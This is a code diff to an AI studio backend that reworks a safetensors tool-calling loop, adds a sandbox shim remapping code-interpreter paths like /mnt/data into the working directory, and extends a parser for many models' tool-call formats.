@@ -398,7 +913,15 @@ def run_safetensors_tool_loop(
                         "arguments": {},
                         "provenance": _tool_event_provenance(provisional = True),
                     }
-            elif is_prefix and len(stripped) < _MAX_BUFFER_CHARS:
+                    yield {
+                        "type": "tool_args",
+                        "tool_call_id": provisional_render_html_id,
+                        "tool_name": "render_html",
+                        "text": content_accum,
+                    }
+                    _live_args_streamed_upto = len(content_accum)
+            elif is_prefix and (is_rehearsal_prefix or len(stripped) < _MAX_BUFFER_CHARS):
+                # A rehearsal prefix is self-bounded; the buffer cap must not cut long MCP names short.
                 continue
             else:
                 detect_state = _state_streaming
@@ -407,57 +930,124 @@ def run_safetensors_tool_loop(
                     cumulative_display,
                     auto_heal_tool_calls = auto_heal_tool_calls,
                     tool_protocol_active = tool_protocol_active,
+                    enabled_tool_names = _enabled_names_gate,
                 )
-                if len(cleaned) > len(last_emitted):
-                    last_emitted = cleaned
-                    yield {"type": "content", "text": cleaned}
+                # Same trailing-name hold as STREAMING for this first flush out of BUFFERING.
+                if tool_protocol_active:
+                    _hold = _held_rehearsal_tail_len(
+                        cleaned, _detect_tools, unrestricted = unrestricted_tools
+                    )
+                    emit = cleaned[: len(cleaned) - _hold] if _hold else cleaned
+                else:
+                    emit = cleaned
+                if len(emit) > len(last_emitted):
+                    last_emitted = emit
+                    yield {"type": "content", "text": emit}
 
         # Stream finished -- resolve what we collected.
         if cancel_event is not None and cancel_event.is_set():
             return
 
         if detect_state == _state_buffering:
-            # Buffer never resolved -- tool XML or plain content?
+            # Buffer never resolved: [ARGS] is name-gated so a prose answer with a literal
+            # ``foo[ARGS]{...}`` is not parsed.
             stripped = content_buffer.lstrip()
+            _bare_eos = strip_llama3_leading_sentinels(stripped)
             if (
                 stripped
                 and tool_protocol_active
-                and any(sig in stripped for sig in tool_xml_signals)
+                and _has_genuine_tool_signal(
+                    stripped,
+                    tool_xml_signals,
+                    _detect_tools,
+                    unrestricted = unrestricted_tools,
+                )
             ):
                 detect_state = _state_draining
+            elif tool_protocol_active and _looks_like_enabled_bare_json(
+                _bare_eos, _enabled_tool_names
+            ):
+                # A held bare-JSON ENABLED-tool fragment has no XML signal; DRAIN it (an ordinary
+                # JSON answer falls through to the else and streams as content, GGUF parity).
+                detect_state = _state_draining
             else:
+                # Drain and fall through to STREAMING so the intent re-prompt + safety-net parser
+                # still fire on short emissions like "Let me search." that never exit BUFFERING.
                 if content_buffer:
                     cumulative_display += content_buffer
-                    yield {
-                        "type": "content",
-                        "text": _strip_tool_markup_final(
-                            cumulative_display,
-                            auto_heal_tool_calls = auto_heal_tool_calls,
-                            tool_protocol_active = False,
-                        ),
-                    }
-                yield {"type": "status", "text": ""}
-                return
+                    cleaned = strip_tool_markup(
+                        cumulative_display, final = True, enabled_tool_names = _enabled_tool_names
+                    )
+                    if len(cleaned) > len(last_emitted):
+                        last_emitted = cleaned
+                        yield {"type": "content", "text": cleaned}
+                detect_state = _state_streaming
 
         if detect_state == _state_streaming:
-            # No tool detected mid-stream -- check for late tool XML.
-            safety_tc = None
-            saw_tool_signal = tool_protocol_active and any(
-                sig in content_accum for sig in tool_xml_signals
+            # Run the parser even with no XML signal (the Llama-3.2 bare-JSON form carries none); it's
+            # strict so plain answers stay untouched. Mirrors GGUF.
+            safety_tc = parse_tool_calls_from_text(
+                content_accum,
+                id_offset = next_call_id,
+                allow_incomplete = auto_heal_tool_calls,
+                enabled_tool_names = _enabled_tool_names,
             )
-            if saw_tool_signal:
-                safety_tc = parse_tool_calls_from_text(
-                    content_accum,
-                    id_offset = next_call_id,
-                    allow_incomplete = auto_heal_tool_calls,
-                )
             if not safety_tc:
-                # Final answer: if a literal tool marker in prose was stripped
-                # during streaming but did not parse as a real call, restore the
-                # raw cumulative text for core callers. Route-level cleanup can
-                # still apply the Auto-Heal display policy.
-                if saw_tool_signal and content_accum:
+                # Re-prompt once on plan-without-action, before any tool runs
+                # (GGUF loop parity). The retry is gated on nudge_tool_calls so
+                # Studio callers (which send True) always nudge, while API callers
+                # who omit the flag keep today's no-reprompt behavior (opt-in).
+                intent_text = _reprompt_intent_text(
+                    content_accum,
+                    reasoning_prefilled = reasoning_prefilled,
+                )
+                if (
+                    auto_heal_tool_calls
+                    and nudge_tool_calls
+                    and active_tools
+                    and reprompt_count < MAX_ACT_REPROMPTS
+                    and not rag_autoinjected
+                    and not tool_denied
+                    and not any(record.executed for record in tool_controller.history)
+                    and is_short_intent_without_action(intent_text)
+                ):
+                    reprompt_count += 1
+                    logger.info(
+                        "Safetensors re-prompt %d/%d: model responded without "
+                        "calling tools (%d chars)",
+                        reprompt_count,
+                        MAX_ACT_REPROMPTS,
+                        len(intent_text),
+                    )
+                    conversation.append({"role": "assistant", "content": intent_text})
+                    tool_hint = " or ".join(_active_tool_names(active_tools)) or "an available tool"
+                    conversation.append(
+                        {
+                            "role": "user",
+                            "content": reprompt_to_act_message(tool_hint),
+                        }
+                    )
+                    # Empty status clears the badge and resets the route's
+                    # per-turn text cursor before the re-prompted turn streams.
+                    yield {"type": "status", "text": ""}
+                    continue
+
+                # Final answer. If a literal tool marker in prose was buffered but
+                # never parsed as a call, restore the raw text so the prose surfaces
+                # in full; route-level cleanup still applies the Auto-Heal policy.
+                if content_accum and any(sig in content_accum for sig in tool_xml_signals):
                     yield {"type": "content", "text": content_accum}
+                else:
+                    # Turn ended as a plain answer (no [ARGS] followed): the held rehearsal tail is real
+                    # prose, release it.
+                    final_clean = strip_tool_markup_streaming(
+                        cumulative_display,
+                        auto_heal_tool_calls = auto_heal_tool_calls,
+                        tool_protocol_active = tool_protocol_active,
+                        enabled_tool_names = _enabled_names_gate,
+                    )
+                    if len(final_clean) > len(last_emitted):
+                        yield {"type": "content", "text": final_clean}
                 yield {"type": "status", "text": ""}
                 return
             tool_calls = safety_tc
@@ -465,31 +1055,41 @@ def run_safetensors_tool_loop(
                 content_accum,
                 auto_heal_tool_calls = auto_heal_tool_calls,
                 tool_protocol_active = True,
+                enabled_tool_names = _enabled_names_gate,
             )
             logger.info(
                 "Safetensors safety net: parsed %d tool call(s) from streamed content",
                 len(tool_calls),
             )
         else:
-            # DRAINING: parse tool calls out of full content.
+            # DRAINING: parse tool calls out of full content. Gate the bare rehearsal on the
+            # ORIGINAL tool list (``_enabled_names_gate``), the same names detection/strip used to
+            # drain here: a spent one-shot (render_html) is off the active list but its re-emitted
+            # ``render_html[ARGS]{..}`` must still parse so it routes to the repeat no-op instead of
+            # being dropped into a blank continuation.
             tool_calls = parse_tool_calls_from_text(
                 content_accum,
                 id_offset = next_call_id,
                 allow_incomplete = auto_heal_tool_calls,
+                enabled_tool_names = _enabled_names_gate,
             )
             if not tool_calls:
                 # Parser found nothing. Auto-Heal-enabled display cleanup
                 # strips unparseable tool XML; disabled Auto-Heal preserves
                 # the raw text so literal/malformed markup stays visible.
                 if content_accum:
-                    yield {
-                        "type": "content",
-                        "text": _strip_tool_markup_final(
-                            content_accum,
-                            auto_heal_tool_calls = auto_heal_tool_calls,
-                            tool_protocol_active = False,
-                        ),
-                    }
+                    _drain_text = _strip_tool_markup_final(
+                        content_accum,
+                        auto_heal_tool_calls = auto_heal_tool_calls,
+                        tool_protocol_active = False,
+                        enabled_tool_names = _enabled_tool_names,
+                    )
+                    # Drained bare-JSON call that didn't parse: with Auto-Heal on, drop the fragment
+                    # (plain JSON answers are left untouched); off keeps it visible per the strict contract.
+                    if tool_protocol_active and auto_heal_tool_calls:
+                        _drain_text = strip_leading_bare_json_call(_drain_text, _enabled_tool_names)
+                    if _drain_text:
+                        yield {"type": "content", "text": _drain_text}
                 if provisional_render_html_started and not provisional_resolved:
                     provisional_resolved = True
                     yield {
@@ -505,10 +1105,14 @@ def run_safetensors_tool_loop(
                 content_accum,
                 auto_heal_tool_calls = auto_heal_tool_calls,
                 tool_protocol_active = True,
+                enabled_tool_names = _enabled_names_gate,
             )
 
         if tool_calls:
             next_call_id += len(tool_calls)
+            # Strip a leading bare-JSON call from the kept content so it isn't replayed as text or
+            # next-turn history (``_strip_tool_markup_final`` only knows XML). No-op for plain JSON answers.
+            content_text = strip_leading_bare_json_call(content_text, _enabled_tool_names)
 
         if final_attempt_done:
             # Final-answer turn re-called a tool -- stop the loop.
@@ -517,8 +1121,32 @@ def run_safetensors_tool_loop(
             yield {"type": "status", "text": ""}
             return
 
+        # Collapse exact-duplicate calls and cap the count (runaway-turn guard).
+        if tool_calls:
+            seen_keys: set = set()
+            deduped: list = []
+            for _tc in tool_calls:
+                _fn = _tc.get("function", {}) or {}
+                _key = (_fn.get("name", ""), str(_fn.get("arguments", "")))
+                if _key in seen_keys:
+                    continue
+                seen_keys.add(_key)
+                deduped.append(_tc)
+                if len(deduped) >= _MAX_TOOL_CALLS_PER_TURN:
+                    break
+            if len(deduped) != len(tool_calls):
+                logger.info(
+                    "Safetensors: collapsed %d repeated tool call(s) in one turn to %d",
+                    len(tool_calls),
+                    len(deduped),
+                )
+            tool_calls = deduped
+
         assistant_msg: dict = {"role": "assistant", "content": content_text}
         assistant_appended = False
+        # Collect no-op nudges and flush them after the batch, so a no-op doesn't
+        # abort it and drop the parallel calls that follow.
+        deferred_noop_msgs: list = []
 
         for tc in tool_calls or []:
             func = tc.get("function", {}) or {}
@@ -547,12 +1175,12 @@ def run_safetensors_tool_loop(
                         "provenance": decision.provenance,
                     }
                 completion = tool_controller.record_noop(decision)
-                conversation.append(completion.model_message())
+                deferred_noop_msgs.append(completion.model_message())
                 logger.info(
                     "Suppressed local safetensors tool call as internal no-op: "
                     f"action={decision.action} tool={decision.tool_name}"
                 )
-                break
+                continue
 
             if not assistant_appended:
                 assistant_msg["tool_calls"] = [decision.as_assistant_tool_call()]
@@ -562,8 +1190,17 @@ def run_safetensors_tool_loop(
                 assistant_msg.setdefault("tool_calls", []).append(decision.as_assistant_tool_call())
 
             # Bypass wins over the confirm gate at the loop level too, so a
-            # direct internal caller passing both flags never prompts.
-            needs_confirm = bool(confirm_tool_calls) and not bypass_permissions
+            # direct internal caller passing both flags never prompts. In
+            # "auto" mode only calls detected as potentially unsafe pause.
+            # "off" never prompts (sandbox stays on).
+            needs_confirm = (
+                bool(confirm_tool_calls) and not bypass_permissions and permission_mode != "off"
+            )
+            if needs_confirm and permission_mode == "auto":
+                from core.inference.tools import is_potentially_unsafe_tool_call
+                needs_confirm = is_potentially_unsafe_tool_call(
+                    decision.tool_name, decision.arguments
+                )
             approval_id = new_approval_id() if needs_confirm else ""
             decision_slot = begin_tool_decision(session_id, approval_id) if needs_confirm else None
             start_event = decision.tool_start_event()
@@ -593,6 +1230,7 @@ def run_safetensors_tool_loop(
                         "result": TOOL_REJECTED_MESSAGE,
                         "provenance": decision.provenance,
                     }
+                    tool_denied = True
                     denied_message = {
                         "role": "tool",
                         "name": decision.tool_name,
@@ -615,16 +1253,30 @@ def run_safetensors_tool_loop(
             ):
                 result = RAG_SEARCH_CAP_NUDGE
             else:
-                try:
-                    result = execute_tool(
-                        decision.tool_name,
-                        decision.arguments,
+                # Execute in a worker thread so live stdout chunks and heartbeats
+                # stream while the tool blocks (the SSE route turns heartbeats into
+                # keepalives). execute_tool is injectable; pass output_callback
+                # only when it accepts it.
+                def _invoke_tool(_output_callback, _decision = decision):
+                    kwargs = dict(
                         cancel_event = cancel_event,
                         timeout = eff_timeout,
                         session_id = session_id,
+                        thread_id = thread_id,
                         rag_scope = rag_scope,
                         disable_sandbox = bypass_permissions,
                     )
+                    if _accepts_output_callback(execute_tool):
+                        kwargs["output_callback"] = _output_callback
+                    return execute_tool(_decision.tool_name, _decision.arguments, **kwargs)
+
+                try:
+                    result = yield from stream_tool_execution(
+                        _invoke_tool,
+                        tool_name = decision.tool_name,
+                        tool_call_id = decision.tool_call_id,
+                        cancel_event = cancel_event,
+                    )
                 except Exception as exc:
                     logger.exception("Tool %s raised: %s", decision.tool_name, exc)
                     result = f"Error: tool raised an exception: {exc}"
@@ -634,9 +1286,13 @@ def run_safetensors_tool_loop(
             completion = tool_controller.record_result(decision, result)
             if provisional_match:
                 provisional_resolved = True
+            # A tool ran this turn, so it counts against the caller's budget.
+            _turn_executed_real_tool = True
             yield completion.tool_end_event()
             conversation.append(completion.tool_message())
 
+        append_deferred_nudges(conversation, deferred_noop_msgs)
+
         # Clear the status badge before the next turn.
         yield {"type": "status", "text": ""}
 
@@ -646,7 +1302,11 @@ def run_safetensors_tool_loop(
         if not unrestricted_tools and not tool_controller.active_tools():
             final_attempt_done = True
             continue
-        if iteration + 1 >= max_tool_iterations and not final_attempt_done:
+        # Count only turns that executed a tool against the cap; a no-op correction turn doesn't
+        # consume budget so the model gets its nudge and another tool-enabled turn (GGUF parity).
+        if _turn_executed_real_tool:
+            _executed_tool_iters += 1
+        if _executed_tool_iters >= max_tool_iterations and not final_attempt_done:
             # Budget exhausted; nudge a final plain answer.
             final_attempt_done = True
             conversation.append({"role": "user", "content": BUDGET_EXHAUSTED_NUDGE})
diff --git a/studio/backend/core/inference/sandbox_site/__init__.py b/studio/backend/core/inference/sandbox_site/__init__.py
new file mode 100644
index 0000000000..eea99aa526
--- /dev/null
+++ b/studio/backend/core/inference/sandbox_site/__init__.py
@@ -0,0 +1,6 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+# Package marker only, so wheel builds ship this directory. It goes on the
+# sandbox PYTHONPATH so site machinery imports the sibling ``sitecustomize`` at
+# startup; nothing in the backend imports it directly.
diff --git a/studio/backend/core/inference/sandbox_site/sitecustomize.py b/studio/backend/core/inference/sandbox_site/sitecustomize.py
new file mode 100644
index 0000000000..d655e8e35a
--- /dev/null
+++ b/studio/backend/core/inference/sandbox_site/sitecustomize.py
@@ -0,0 +1,313 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Sandbox-side compatibility shim for ChatGPT code-interpreter paths.
+
+Models habitually write to /mnt/data (or /mnt/outputs, /home/sandbox,
+/workspace), none of which exist in the Studio sandbox. This module sits on the
+sandbox subprocess PYTHONPATH (see ``tools._build_safe_env``), so it loads at
+interpreter startup in every sandboxed ``python`` run and any Python the
+``terminal`` tool launches.
+
+It remaps those prefixes onto the CWD in ``open`` / ``io.open``, ``os.open``,
+``os.makedirs`` / ``os.mkdir`` and ``pathlib.Path.mkdir``. A write/create to a
+convention prefix always heals onto the CWD; a READ heals only when the mapped
+target already exists (re-reading an earlier write), so a genuinely missing
+input stays truthful on the path the model used instead of silently reading a
+same-basename workdir file. Since prefix lists cannot cover every invented path,
+``open`` / ``io.open`` also get a create-mode fallback: an absolute path outside
+the CWD whose parent is missing is redirected to the basename in the CWD. Reads
+and mkdir never use the fallback (an arbitrary absolute directory can legitimately
+succeed). It is collision-safe: it refuses to redirect onto an existing CWD file
+(letting open raise). The patch set (io.open, os.open, os.mkdir, Path.mkdir, and
+the <3.11 ``_NormalAccessor.open``) covers the low-level entry points pathlib
+routes through. A one-line stderr notice fires on the first remap, and everything
+is wrapped in try/except so a failure never breaks the interpreter.
+
+Identical with and without output streaming because the child env is.
+"""
+
+import builtins
+import io
+import json
+import os
+import sys
+
+# Code-interpreter convention prefixes. Remapping is gated on the prefix being
+# ABSENT (see _remap) so a genuine host mount / user dir is never shadowed.
+_PREFIXES = ("/mnt/data", "/mnt/outputs", "/home/sandbox", "/workspace")
+# /tmp exists on the host; separate only to note that. The absence gate applies alike.
+_CONDITIONAL_PREFIXES = ("/tmp/outputs",)
+_notified = False
+# Invented absolute write path -> healed CWD target, so re-writing the same
+# artifact re-serves it instead of tripping the anti-clobber guard.
+_remapped_writes: dict = {}
+# Each tool call is a fresh subprocess (in-process map starts empty), so this
+# on-disk sidecar carries the map across runs. It records only sources the
+# fallback healed, so an unrelated same-basename file is never adopted.
+_REMAP_SIDECAR = ".unsloth_sandbox_remap.json"
+
+
+def _note(subject, original, mapped):
+    """Print the one-shot stderr notice so the model learns the real location.
+
+    ``subject`` is what "does not exist" (the prefix, or the whole invented
+    path); ``original`` is echoed in the ``(original -> mapped)`` tail.
+    """
+    global _notified
+    if _notified:
+        return
+    _notified = True
+    print(
+        f"note: {subject} does not exist in this sandbox; "
+        f"using the working directory instead ({original} -> {mapped})",
+        file = sys.stderr,
+    )
+
+
+def _contained_join(cwd, rel):
+    """Join ``rel`` onto ``cwd`` so the result can never escape ``cwd``.
+
+    A habit path can carry ``..`` segments; joining verbatim would let the target
+    climb above the sandbox. ``..`` components are dropped and empty / ``.`` ones
+    ignored, keeping the result under ``cwd``.
+    """
+    parts = []
+    for part in rel.split("/"):
+        if part == "" or part == ".":
+            continue
+        if part == "..":
+            if parts:
+                parts.pop()
+            continue
+        parts.append(part)
+    return os.path.join(cwd, *parts) if parts else cwd
+
+
+def _map_onto_cwd(
+    prefix,
+    text,
+    notify = True,
+):
+    """Map ``<prefix>/rest`` onto ``./rest`` in the CWD, noting it once.
+
+    The suffix is contained under the CWD (see ``_contained_join``) so a path
+    like ``/mnt/data/../other_session/file`` cannot escape the workdir.
+    ``notify`` is False when the caller may keep the original path (a read), so
+    the one-shot notice is not spent on a remap that never happens.
+    """
+    rel = text[len(prefix) :].lstrip("/")
+    mapped = _contained_join(os.getcwd(), rel)
+    if notify:
+        _note(prefix, text, mapped)
+    return mapped
+
+
+def _sidecar_path(cwd):
+    return os.path.join(cwd, _REMAP_SIDECAR)
+
+
+def _load_sidecar(cwd):
+    """Return the persisted ``source -> healed target`` map, or {} on any error
+    (missing/corrupt/foreign sidecar degrades to in-process-only behaviour)."""
+    try:
+        with open(_sidecar_path(cwd)) as fh:
+            data = json.load(fh)
+    except Exception:  # noqa: BLE001 - a bad sidecar must never break user code
+        return {}
+    return data if isinstance(data, dict) else {}
+
+
+def _record_sidecar(cwd, source, target):
+    """Persist ``source -> target`` so the next run re-serves it.
+
+    Written atomically (temp + ``os.replace``) and wrapped so a read-only/full
+    filesystem never breaks the interpreter. The path is inside the CWD, so the
+    patched ``open`` leaves it untouched (no remap, no recursion).
+    """
+    try:
+        data = _load_sidecar(cwd)
+        if data.get(source) == target:
+            return
+        data[source] = target
+        tmp = _sidecar_path(cwd) + ".tmp"
+        with open(tmp, "w") as fh:
+            json.dump(data, fh)
+        os.replace(tmp, _sidecar_path(cwd))
+    except Exception:  # noqa: BLE001 - persistence is best effort only
+        pass
+
+
+def _is_creating_mode(mode):
+    """True only when an ``open()`` mode string can CREATE a missing file.
+
+    Only ``w`` / ``a`` / ``x`` create. ``r+`` / ``rb+`` require the path to exist,
+    so they must not trip the write fallback (which would corrupt an unrelated
+    same-basename file); ``w+`` / ``a+`` / ``x+`` still match.
+    """
+    return isinstance(mode, str) and any(c in mode for c in ("w", "a", "x"))
+
+
+def _remap_open(file, mode):
+    """Remap for ``open()`` / ``io.open()``.
+
+    A prefix remap runs first: a write/create heals onto the CWD; a READ heals
+    only when the mapped target already exists (re-reading an earlier write),
+    else the original path is kept so a genuine missing input fails truthfully
+    instead of silently reading a same-basename workdir file. Only if no prefix
+    matched and the call creates does the fallback kick in: an absolute target
+    outside the CWD whose parent is missing is redirected to the basename in the
+    CWD, unless ``CWD/<basename>`` already exists (an unrelated file), in which
+    case the original path is kept so open raises.
+    """
+    creating = _is_creating_mode(mode)
+    # notify=False: emit the notice only once we commit to the mapping below.
+    mapped = _remap(file, notify = False)
+    if mapped is not file:
+        # Write always heals; a read only when the mapped target exists (else keep
+        # the original path so a missing input stays truthful).
+        if creating or os.path.exists(mapped):
+            # Commit: emit the notice now (the notify=False peek above deferred it).
+            _remap(file, notify = True)
+            return mapped
+        return file
+    if not creating:
+        return file
+    try:
+        text = os.fspath(file)
+    except TypeError:
+        return file
+    # bytes paths left untouched (str-only, matching the prefix remaps).
+    if not isinstance(text, str) or not os.path.isabs(text):
+        return file
+    cwd = os.getcwd()
+    # Already inside the CWD: a real target the model meant; leave it alone.
+    if text == cwd or text.startswith(cwd + os.sep):
+        return file
+    parent = os.path.dirname(text)
+    # Redirect only when the parent is missing; an existing external directory is
+    # a deliberate target and stays truthful (os.path.exists follows symlinks).
+    if parent and os.path.exists(parent):
+        return file
+    base = os.path.basename(text)
+    # A trailing sep or '.'/'..' basename would redirect onto the CWD or its
+    # parent; refuse and let open raise.
+    if base in ("", ".", ".."):
+        return file
+    remapped = os.path.join(cwd, base)
+    # Never clobber an unrelated file sharing this basename (lexists catches
+    # dangling symlinks). But a target this fallback already healed for the same
+    # invented path (in-process map or cross-run sidecar) is the artifact being
+    # re-written, so re-serve it instead of raising on every overwrite.
+    if os.path.lexists(remapped) and remapped not in (
+        _remapped_writes.get(text),
+        _load_sidecar(cwd).get(text),
+    ):
+        return file
+    _remapped_writes[text] = remapped
+    _record_sidecar(cwd, text, remapped)
+    _note(text, text, remapped)
+    return remapped
+
+
+def _remap(path, notify = True):
+    """Map ``<prefix>/rest`` onto ``./rest`` in the CWD; other paths pass through.
+
+    ``notify`` is forwarded to ``_map_onto_cwd``; ``_remap_open`` passes False so
+    a read that keeps its original path emits no false notice.
+    """
+    try:
+        text = os.fspath(path)
+    except TypeError:
+        return path
+    if not isinstance(text, str):
+        return path
+    for prefix in _PREFIXES + _CONDITIONAL_PREFIXES:
+        # Heal only while the real prefix directory is absent, so a genuine host
+        # mount / user directory at that prefix is never shadowed.
+        if (text == prefix or text.startswith(prefix + "/")) and not os.path.exists(prefix):
+            return _map_onto_cwd(prefix, text, notify = notify)
+    return path
+
+
+def _install():
+    import pathlib
+
+    original_open = builtins.open
+    original_io_open = io.open
+    original_os_open = os.open
+    original_makedirs = os.makedirs
+    original_mkdir = os.mkdir
+    original_path_mkdir = pathlib.Path.mkdir
+
+    def _open(
+        file,
+        mode = "r",
+        *args,
+        **kwargs,
+    ):
+        return original_open(_remap_open(file, mode), mode, *args, **kwargs)
+
+    def _io_open(
+        file,
+        mode = "r",
+        *args,
+        **kwargs,
+    ):
+        return original_io_open(_remap_open(file, mode), mode, *args, **kwargs)
+
+    # mkdir/makedirs get only the prefix remap, never the write-mode fallback:
+    # an arbitrary absolute directory can legitimately succeed on the host.
+    def _makedirs(name, *args, **kwargs):
+        return original_makedirs(_remap(name), *args, **kwargs)
+
+    def _mkdir(path, *args, **kwargs):
+        return original_mkdir(_remap(path), *args, **kwargs)
+
+    def _os_open(
+        path,
+        flags,
+        mode = 0o777,
+        *,
+        dir_fd = None,
+    ):
+        # Path.touch() etc. go through os.open, not builtins.open. Only O_CREAT
+        # can create, so only it maps to "creating" mode; O_TRUNC / O_APPEND
+        # without O_CREAT still require the file to exist, so behave as a read.
+        logical_mode = "w" if (flags & os.O_CREAT) else "r"
+        mapped = _remap_open(path, logical_mode)
+        if dir_fd is None:
+            return original_os_open(mapped, flags, mode)
+        return original_os_open(mapped, flags, mode, dir_fd = dir_fd)
+
+    def _path_mkdir(self, *args, **kwargs):
+        # pathlib probes Path.is_dir()/os.stat (unpatched) on FileExistsError, so
+        # a bare os.mkdir remap would still raise when the target exists. Remap
+        # the receiver up front so parents/exist_ok stays idempotent.
+        mapped = _remap(self)
+        target = self if mapped is self else self.__class__(mapped)
+        return original_path_mkdir(target, *args, **kwargs)
+
+    builtins.open = _open
+    # pathlib.Path.open / write_text / read_text call io.open directly, so patch both.
+    io.open = _io_open
+    # Python < 3.11 only: pathlib's accessor captured the ORIGINAL io.open at
+    # import (``_NormalAccessor.open = io.open``), so the io.open patch misses it.
+    # Repoint it at the same wrapper (staticmethod to stay unbound); 3.11+ dropped
+    # the accessor, so this is a no-op there.
+    accessor = getattr(pathlib, "_NormalAccessor", None)
+    if accessor is not None and hasattr(accessor, "open"):
+        accessor.open = staticmethod(_io_open)
+    # Path.touch() and other low-level opens call os.open directly, so patch it too.
+    os.open = _os_open
+    os.makedirs = _makedirs
+    # Path.mkdir(parents=True) calls os.mkdir per component, so patch os.mkdir;
+    # patch Path.mkdir itself too so exist_ok/parents land on the mapped path.
+    os.mkdir = _mkdir
+    pathlib.Path.mkdir = _path_mkdir
+
+
+try:
+    _install()
+except Exception:  # noqa: BLE001 - a broken shim must never break user code
+    pass
diff --git a/studio/backend/core/inference/tool_call_parser.py b/studio/backend/core/inference/tool_call_parser.py
index ca3d1e4cbc..9b6b0a7773 100644
--- a/studio/backend/core/inference/tool_call_parser.py
+++ b/studio/backend/core/inference/tool_call_parser.py
@@ -2,39 +2,125 @@
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 """
-Backend-neutral tool-call XML parser shared by GGUF and safetensors.
-Tolerates missing closing tags in either ``<tool_call>{json}</tool_call>``
-or ``<function=name><parameter=k>v...`` shape.
+Backend-neutral tool-call parser shared by GGUF, safetensors, and MLX, so the
+safetensors + MLX agentic loop sees the same call shape llama-server gives GGUF:
+
+  - ``<tool_call>{json}</tool_call>``           (Qwen / Hermes)
+  - ``<function=name><parameter=k>v</parameter></function>``  (Qwen3.5 xml)
+  - ``<|python_tag|>NAME.call(k="v", ...)``     (Llama-3 built-in tools)
+  - ``<|python_tag|>{"name":..., "parameters":...}``  (Llama-3 custom)
+  - ``{"name":..., "parameters":...}``          (Llama-3.2 bare JSON)
+  - ``[TOOL_CALLS] [{...}, ...]``               (Mistral v0.3 / Nemo / Small)
+  - ``[TOOL_CALLS]name{json}``                  (Mistral v11+ / Magistral)
+  - ``[TOOL_CALLS]name[ARGS]{json}``            (Ministral / Mistral Large 3)
+  - ``<|tool_call>call:NAME{k:<|"|>v<|"|>}<tool_call|>``  (Gemma 4)
+  - ``<｜tool▁calls▁begin｜>...function<｜tool▁sep｜>NAME\\n``\\`\\`\\`json\\n{...}\\n\\`\\`\\`...``  (DeepSeek R1)
+  - ``<｜tool▁calls▁begin｜>...<｜tool▁call▁begin｜>NAME<｜tool▁sep｜>{json}<｜tool▁call▁end｜>...``  (DeepSeek V3 / V3.1)
+  - ``<tool_call>NAME\\n<arg_key>k</arg_key>\\n<arg_value>v</arg_value>...</tool_call>``  (GLM 4.5 / 4.6 / 4.7)
+  - ``<|tool_calls_section_begin|>...<|tool_call_begin|>functions.NAME:IDX<|tool_call_argument_begin|>{json}<|tool_call_end|>...``  (Kimi K2)
+
+Missing closing tags / brackets are tolerated: models often truncate mid-stream.
 """
 
+# Lazy annotations keep the standalone python 3.9 import working.
+from __future__ import annotations
+
+import json
+import re
+from typing import Any, Optional
+
+# Qwen/Hermes, Qwen3.5 XML and Gemma 4 live in core.tool_healing; this module adds the rest.
 from core import tool_healing as _tool_healing
 
 
-_TOOL_ALL_PATS = _tool_healing._TOOL_ALL_PATS
+# Flip the streaming buffer STREAMING->DRAINING so partial markup never leaks.
+TOOL_XML_SIGNALS = (
+    "<tool_call>",
+    "<function=",
+    '<function name="',
+    "<|python_tag|>",
+    "[TOOL_CALLS]",
+    "<|tool_call>",
+    # Bare reasoning-rehearsal marker (``name[ARGS]{...}``, no leading [TOOL_CALLS]);
+    # keeps a rehearsed call held in the stream so it is promoted, not leaked as prose.
+    "[ARGS]",
+    # DeepSeek R1 / V3 / V3.1 -- 5 opener variants llama.cpp keeps.
+    "<｜tool▁calls▁begin｜>",
+    "<｜tool▁call▁begin｜>",
+    "<｜tool_calls_begin｜>",
+    "<｜tool▁calls｜>",
+    "<｜tool calls begin｜>",
+    "<｜tool\\_calls\\_begin｜>",
+    # Kimi K2 / Moonshot.
+    "<|tool_calls_section_begin|>",
+    "<|tool_call_begin|>",
+    # TML Inkling native call marker.
+    "<|content_invoke_tool_json|>",
+)
 
 
-def parse_tool_calls_from_text(
-    content: str,
-    *,
-    id_offset: int = 0,
-    allow_incomplete: bool = True,
-) -> list[dict]:
-    return _tool_healing.parse_tool_calls_from_text(
-        content,
-        id_offset = id_offset,
-        allow_incomplete = allow_incomplete,
-    )
+# DeepSeek opener variants; shared by parse and strip so a parsed signal is always stripped.
+_DEEPSEEK_OPEN_ALT = (
+    r"tool▁calls▁begin|tool_calls_begin|tool calls begin|tool\\_calls\\_begin|tool▁calls"
+)
+_DEEPSEEK_OPEN_RE_SRC = r"<｜(?:" + _DEEPSEEK_OPEN_ALT + r")｜>"
+
+# Closed pairs only (mid-stream); _TOOL_ALL_PATS also eats unclosed tails at
+# end-of-turn. ``[\w-]+`` on ``<function=...>`` tracks OpenAI's
+# ``^[a-zA-Z0-9_-]{1,64}$`` so hyphenated MCP names parse like built-ins.
+_TOOL_CLOSED_PATS = [
+    re.compile(r"<tool_call>.*?</tool_call>", re.DOTALL),
+    # Span to the real ``</function>`` so a literal one inside a value can't truncate the strip.
+    re.compile(
+        r'<function(?:=[\w.\-]+|\s+name="[\w.\-]+")>'
+        r'(?:(?!<function(?:=[\w.\-]+|\s+name="[\w.\-]+")>).)*'
+        r"</function>",
+        re.DOTALL,
+    ),
+    re.compile(r"<\|tool_call>.*?<tool_call\|>", re.DOTALL),
+    re.compile(r"\[TOOL_CALLS\]\s*\[.*?\](?:\s*</s>)?", re.DOTALL),
+    # Mistral v11+ ``[TOOL_CALLS]name{json}`` (may chain), close at ``}``.
+    re.compile(r"\[TOOL_CALLS\]\s*[\w\.\-]+\s*(?:\[ARGS\])?\s*\{.*?\}", re.DOTALL),
+    # DeepSeek R1 / V3 / V3.1: full envelope (any opener variant) ... end.
+    re.compile(_DEEPSEEK_OPEN_RE_SRC + r".*?<｜tool▁calls▁end｜>", re.DOTALL),
+    # Kimi K2: ``<|tool_calls_section_begin|>...<|tool_calls_section_end|>``.
+    re.compile(r"<\|tool_calls_section_begin\|>.*?<\|tool_calls_section_end\|>", re.DOTALL),
+    # Kimi K2 section-less closed call; else the catch-all below eats trailing prose to EOS.
